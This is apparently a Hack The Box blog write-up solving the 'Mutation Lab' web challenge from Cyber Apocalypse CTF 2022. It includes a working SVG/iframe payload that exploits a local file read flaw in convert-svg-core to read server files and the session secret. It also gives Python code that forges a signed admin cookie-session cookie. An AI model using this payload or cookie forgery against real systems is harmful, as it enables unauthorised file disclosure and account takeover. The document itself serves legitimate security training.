Write-Ups

5 min read

CA CTF 2022: Exploiting LFR and forging Cookies - Mutation Lab

Exploiting LFR and forging Cookies, Rayhan0x01 shares his write-up of Mutation Lab from Cyber Apocalypse CTF 2022.

Rayhan0x01 avatar

Rayhan0x01,
Jun 03
2022

In this write-up, we'll go over the web challenge Mutation Lab, rated as medium difficulty in the Cyber Apocalypse CTF 2022. The solution requires exploiting a local file read vulnerability to steal the cookie signing key and crafting a session cookie for the admin.

Challenge Description 📄

One of the renowned scientists in the research of cell mutation, Dr. Rick, was a close ally of Draeger. The by-products of his research, the mutant army wrecked a lot of havoc during the energy-crisis war. To exterminate the leftover mutants that now roam over the abandoned areas on the planet Vinyr, we need to acquire the cell structures produced in Dr. Rick's mutation lab. Ulysses managed to find a remote portal with minimal access to Dr. Rick's virtual lab. Can you help him uncover the experimentations of the wicked scientist?

The application at-a-glance 🔍

The application homepage displays a login form and a link to the registration page. Since we don't have an account, we can create an account via the registration page and log in. After logging in, the application redirects to the following dashboard page:

We can interact with the two canvas elements displayed on the webpage. Clicking on the buttons below the canvas exports a PNG image file of the canvas. Clicking the export button sends the following API request to the server:

That is pretty much all the accessible features in this web application.

The LFR vulnerability that lets you see the unseen 🔭

Clicking the second export button downloads a PNG image of the second canvas but the Networks tab in the browser shows two different requests that originated when we click the button:

Looking into the client-side JavaScript code of the dashboard.js file, the button with the id exportTadpoleCanvas has two onClick event handlers specified to call the exportExp function:

$('#exportCellCanvas').on('click', () => {exportExp(scope1)});
$('#exportTadpoleCanvas').on('click', () => {exportExp(scope2)});
$('#exportTadpoleCanvas').on('click', () => {exportExp(scope3)});
 
const exportExp = async (scope) => {
await fetch(`/api/export`, {
   method: 'POST',
   headers: {
     'Content-Type': 'application/json',
   },
   body: JSON.stringify({
     svg: scope.project && scope.project.exportSVG({asString: true})
   }),
 })
 .then((response) => response.json())
   .then((data) => {
     if (data.hasOwnProperty('png')) {
       window.open(data.png);
     }
   })
 .catch((error) => {
   console.log(error);
 });
}

The scope3.project attribute is null, which causes the second request to fail as the request JSON parameter svg is null. The response contains an error stack trace:

From the error stack trace, we can see the convert-svg-core npm module is used to convert the SVG code to a PNG image. Searching for vulnerabilities in this module leads us to the following Snyk advisory page:

https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-1582785

The advisory contains a proof-of-concept payload that we can send to the API to read the server-side file /app/index.js:

{
 "svg":"<svg-dummy></svg-dummy>\n<iframe src=\"///app/index.js\" width=\"100%\" height=\"1000px\"></iframe><svg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"> <text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text></svg>"
}

Sending the above payload to the /api/export endpoint returns a PNG image URL which discloses the application source code in the exported PNG image file:

Since we need access to the "admin" account, we can steal the SESSION_SECRET_KEY value by reading the /app/.env file like we read the /app/index.js file:

Forging the admin session cookie for the loot 💰

From the index.js source code, we can see the application is using the Express cookie-session module that handles the cookie signing of the application. After a successful login, the application sets the following two different cookies:

Cookie: session.sig=JdDgWZBLBvtBPw70zNxY8MuhD0Q; session=eyJ1c2VybmFtZSI6InJoMHgwMSJ9

The session cookie value is a JSON object encoded in Base64:

$ echo "eyJ1c2VybmFtZSI6InJoMHgwMSJ9" | base64 -d
{"username":"rh0x01"}

To understand how to create the session.sig cookie value, we can start by analyzing the Github repository of the cookie-session module. Following the code-base, we come across the following code from the npm module cookies used by cookie-session as a dependency:

The this.keys is an instance of the Keygrip() function from another npm module keygrip:

function Keygrip(keys, algorithm, encoding) {
 if (!algorithm) algorithm = "sha1";
 if (!encoding) encoding = "base64";
 if (!(this instanceof Keygrip)) return new Keygrip(keys, algorithm, encoding)
 
 if (!keys || !(0 in keys)) {
   throw new Error("Keys must be provided.")
 }
 
 function sign(data, key) {
   return crypto
     .createHmac(algorithm, key)
     .update(data).digest(encoding)
     .replace(/\/|\+|=/g, function(x) {
       return ({ "/": "_", "+": "-", "=": "" })[x]
     })
 }
 
 this.sign = function(data){ return sign(data, keys[0]) }

The sign() method creates an HMAC with the given algorithm (in the case of cookie-session, it's "sha1") out of the provided data and encodes the resultant value in URL-safe base64. We can replicate the cookie signing in Python the following way with the retrieved SESSION_SECRET_KEY value:

def sign(data, key):
    key = key.encode()
    data = data.encode()
    hashData = hmac.new(key, data, sha1)
    signData = base64.encodebytes(hashData.digest()).decode('utf-8')
    return signData.replace('/', '_').replace('+', '-').replace('=', '').replace('\n','')
 
secret_key = "VALUE OF SESSION_SECRET_KEY"
cookie_sig = sign('session=eyJ1c2VybmFtZSI6ImFkbWluIn0', secret_key)
# eyJ1c2VybmFtZSI6ImFkbWluIn0 is base64 value of {"username":"admin"}
cookies = {'session': 'eyJ1c2VybmFtZSI6ImFkbWluIn0', 'session.sig': cookie_sig}
resp = requests.get(f'{hostURL}/dashboard', cookies=cookies)

Using the newly signed cookies, we can now access the admin account dashboard that displays a new canvas with an embedded flag:

And that's a wrap for the write-up of this challenge! The challenge is currently available to play on Hack The Box platform here.

Hack The Blog

The latest news and updates, direct from Hack The Box